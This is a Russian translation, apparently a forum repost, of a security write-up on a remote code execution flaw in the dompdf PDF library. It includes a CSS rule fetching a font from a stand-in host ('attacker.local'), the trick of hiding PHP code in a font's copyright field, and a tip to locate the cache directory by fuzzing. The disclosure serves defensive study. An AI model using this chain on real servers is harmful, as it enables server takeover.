- Популярная PHP библиотека dompdf (используется для генерации PDF файлов из HTML) содержит в себе уязвимость которая позволяет злоумышленнику удаленно выполнять код (RCE) в определенных конфигурациях.
- Внедряя CSS в данные, обрабатываемые библиотекой dompdf, ее можно заставить сохранить вредоносный шрифт с расширением файла .php в его кэше шрифтов, который впоследствии может быть выполнен при доступе к нему извне.
- Команда Positive Security сообщила об уязвимости в dompdf еще 5 октября 2021 года. Ни каких исправлений до сих пор нет (на момент 16.03.2022).
ВСТУПЛЕНИЕ
Во время работы с клиентами в прошлом году, мы столкнулись с сайтом, который на первый взгляд казался довольно неуязвимым из-за его в основном статичного характера:
Целевой сайт (для этой статьи мы сделали простой демонстрационный сайт, который ведет себя аналогично сайту клиента в соответствующих аспектах)
Исследуя сайт, была обнаружена уязвимость Reflected Cross-Site Scripting (XSS):
Однако, в какой-то момент нам бросилась в глаза интересная особенность. Сайт предлагал возможность экспортировать некоторые из своих страниц в формате PDF:
Экспортирование сайта в формате PDF, который гененируется на сервере
Вскоре эта XSS стала намного интереснее, потому что она также позволяла управлять вводом данных в генератор PDF на стороне сервера:
Внедренный заголовок в HTML, сгенерированный как PDF на стороне сервера
Хоть и было невозможно внедрить JavaScript, который интерпретировал бы средство визуализации PDF, мы смогли внедрить произвольный HTML (как показано выше с заголовком "In PDF").
Мы открыли экспортированный PDF в pdfinfo и таким образом узнали какая библиотека отвечает за генерацию PDF файла на сервере и ее версию:
Информация о библиотеке которая отвечает за генерацию PDF на сервере
(Версия библиотеки используемая на сервере клиента была v0.8.5, но поскольку эксплоит работает так же и в самой последней версии v1.2.0, мы будем использовать эту версию для данной статьи. На момент написания данной статьи не было никаких известных уязвимостей ни для версии 0.8.5, ни для версии 1.2.0.)
ИЩЕМ НЕЧТО СЕРЬЕЗНЕЕ
На этом этапе мы переключили наше внимание на исходный код dompdf, чтобы посмотреть, сможем ли мы найти нечто серьезнее, например, уязвимость которая могла бы предоставить нам дальнейший доступ к серверу.
Первое, что бросилось нам в глаза - это возможность выполнения встроенного PHP во время генерации PDF, которая, если бы была включена, значительно упростила бы нашу работу:
JavaScript:
/**
* Enable embedded PHP
*
* If this setting is set to true then DOMPDF will automatically evaluate
* embedded PHP contained within ... tags.
*
* ==== IMPORTANT ====
* Enabling this for documents you do not trust (e.g. arbitrary remote html
* pages) is a security risk. Embedded scripts are run with the same level of
* system access available to dompdf. Set this option to false (recommended)
* if you wish to process untrusted documents.
*
* This setting may increase the risk of system exploit. Do not change
* this settings without understanding the consequences. Additional
* documentation is available on the dompdf wiki at:
*
*
* @var bool
*/
private $isPhpEnabled = false;
Однако, эта функция оказалась отключенной.
Следующая интересная функция касалась загрузки удаленных ресурсов:
JavaScript:
/**
* Enable remote file access
*
* If this setting is set to true, DOMPDF will access remote sites for
* images and CSS files as required.
*
* ==== IMPORTANT ====
* This can be a security risk, in particular in combination with isPhpEnabled and
* allowing remote html code to be passed to $dompdf = new DOMPDF(); $dompdf->load_html(...);
* This allows anonymous users to download legally doubtful internet content which on
* tracing back appears to being downloaded by your server, or allows malicious php code
* in remote html pages to be executed by your server with your account privileges.
*
* This setting may increase the risk of system exploit. Do not change
* this settings without understanding the consequences. Additional
* documentation is available on the dompdf wiki at:
*
*
* @var bool
*/
private $isRemoteEnabled = false;
Чтобы проверить состояние этого параметра, мы использовали XSS для подключения внешней таблицы стилей (уменьшив изображение и установив для его фона светло-серый цвет в целях тестирования):
Функция оказалась включенной. Продолжаем выяснять что это нам дает и как продвигаться дальше.
ПЕРВЫЙ ЗВОНОЧЕК: ИНДЕКС КЭША ШРИФТОВ
Когда функция $isRemoteEnabled включена - dompdf позволяет загружать пользовательские шрифты с помощью CSS правил font-face:
CSS:
@font-face {
font-family:'TestFont';
src:url('http://attacker.local/test_font.ttf');
font-weight:'normal';
font-style:'normal';
}
Кстати, в версиях ниже 0.8.5 - подгружать пользовательские шрифты можно независимо от состояния этого параметра.
Когда используется внешний шрифт, dompdf кэширует его локально в подкаталоге /lib/fonts и добавляет соответствующую запись в dompdf_font_family_cache.php используя saveFontFamilies(). Эта функция кодирует шрифты, известные dompdf, в виде массива PHP вместе с информацией, необходимой для их последующего поиска.
Мы уже подозревали, что dompdf хранился в каталоге, доступном из веб-корня, и действительно, отсутствие сообщения об ошибке при попытке доступа к индексу кэша шрифтов, указывало на то же самое:
Прямой доступ к индексу кэша шрифтов. Пустая страница без ошибок.
Поскольку это означает, что PHP файл, к которому мы можем получить доступ извне, генерируется на основе контролируемых нами входных данных, то целесообразно раскручивать это для дальнейшего продвижения в систему.
Однако, единственный параметр, на который мы имели прямое влияние ($family), был защищен с помощью функции экранирования addlashes(), что делает эксплуатацию в индексе кэша шрифтов невозможной. Поэтому нам пришлось искать дальше, но не очень долго
ВТОРОЙ ШАГ: КЭШ ШРИФТОВ
Если мы не можем использовать индекс кэша шрифтов ... можем ли мы использовать кэш шрифтов напрямую?
Давайте посмотрим, как dompdf регистрирует новые шрифты (показано здесь в сжатом виде для наглядности):
JavaScript:
/**
* @param array $style
* @param string $remoteFile
* @param resource $context
* @return bool
*/
public function registerFont($style, $remoteFile, $context = null)
{
$fontname = mb_strtolower($style["family"]);
$styleString = $this->getType("{$style['weight']} {$style['style']}");
$fontDir = $this->options->getFontDir();
$remoteHash = md5($remoteFile);
$prefix = $fontname . "_" . $styleString;
$prefix = preg_replace("[\\W]", "_", $prefix);
$prefix = preg_replace("/[^-_\\w]+/", "", $prefix);
$localFile = $fontDir . "/" . $prefix . "_" . $remoteHash;
$localFile .= ".".strtolower(pathinfo(parse_url($remoteFile, PHP_URL_PATH), PATHINFO_EXTENSION));
// Download the remote file
list($remoteFileContent, $http_response_header) = @Helpers::getFileContent($remoteFile, $context);
$localTempFile = @tempnam($this->options->get("tempDir"), "dompdf-font-");
file_put_contents($localTempFile, $remoteFileContent);
$font = Font::load($localTempFile);
if (!$font) {
unlink($localTempFile);
return false;
}
$font->parse();
$font->close();
unlink($localTempFile);
// Save the changes
file_put_contents($localFile, $remoteFileContent);
$this->saveFontFamilies();
return true;
}
Этот фрагмент кода говорит нам о нескольких вещах:
- Имя файла недавно кэшированного шрифта является детерминированным и основано на имеющейся у нас информации, а именно: имя шрифта, выбранный стиль и хэш его удаленного URL (строка 9-19). Например, наш тестовый шрифт attacker.local/test_font.ttf со свойствами weight/style "normal" будет сохранен как testfont_normal_d249c21fbbb1302ab53282354d462d9e.ttf
- Несмотря на то, что в скрипте предприняты меры против уязвимости Path Traversal путем удаления потенциально опасных символов (в строках 16 и 17) - оригинальное расширение файла шрифта сохраняется.
- Шрифт должен быть валидным в том смысле, что он должен пройти загрузку и синтаксический анализ с помощью php-font-lib (строки 28 и 35).
Итак, что произойдет, если мы возьмем обычный валидный шрифт .ttf и отредактируем его, добавив <?php phpinfo(); ?> в секцию "Авторские права" (Copyright), сохраним как exploit_font.php
...И подадим все это на съедение нашему dompdf:
phpinfo() выполняется на сервере жертвы при подключении к вредоносному файлу шрифта
ИМПАКТ
Существует много вариантов, для которых требуется создание PDF файлов на стороне сервера, содержащих вводимые пользователем данные, например покупка билетов, квитанции и счета-фактуры или другие автоматические электронные письма от поставщиков услуг или даже сертификаты о проведении тестов на COVID-19. Возможно, что некоторые из этих служб также будут затронуты данной уязвимостью, если будут выполнены следующие предварительные условия:
- dompdf устанавливается в каталог, доступный кому угодно в интернете. Это могло бы, например, легко произойти, если бы Composer использовался для установки библиотеки где-то внутри docroot без запрета доступа к папке vendor
- Входные данные недостаточно фильтруются при генерации PDF, проще говоря - отсутствие WAF или недостаточно хорошая его настройка, что может привести к успешной эксплуатации, например через XSS, как показано в этой статье, либо при передаче пользовательских данных на сервер (имя пользователя, адрес etc.)
- Используется dompdf версии ≤ 0.8.5, или параметр $isRemoteEnabled имеет значение true. И как выше было сказано: в версиях ниже 0.8.5 - подгружать пользовательские шрифты можно независимо от состояния этого параметра, даже если он установлен $isRemoteEnabled = false;
ВЫВОД
Исследуя клиентский сайт, мы обнаружили уязвимость в PHP библиотеке dompdf для генерации PDF, которая позволяла нам загружать файлы шрифтов с расширением .php на веб-сервер. Чтобы запустить скрипт, мы использовали уязвимость XSS, которая позволяла нам внедрять HTML в веб-страницу до того, как она была сгенерирована в формате PDF. Поскольку dompdf был установлен в каталоге, доступном через интернет кому угодно (и мы знали его местоположение благодаря утечке файла логов), мы смогли открыть загруженный скрипт .php, что дало нам возможность выполнять код на сервере.
P.S. Предвещаю вопросы о том как как искать каталог, самый простой вариант это юзать фаззер.
Source: https://positive.security/blog/dompdf-rce & https://github.com/positive-security/dompdf-rce
Последнее редактирование: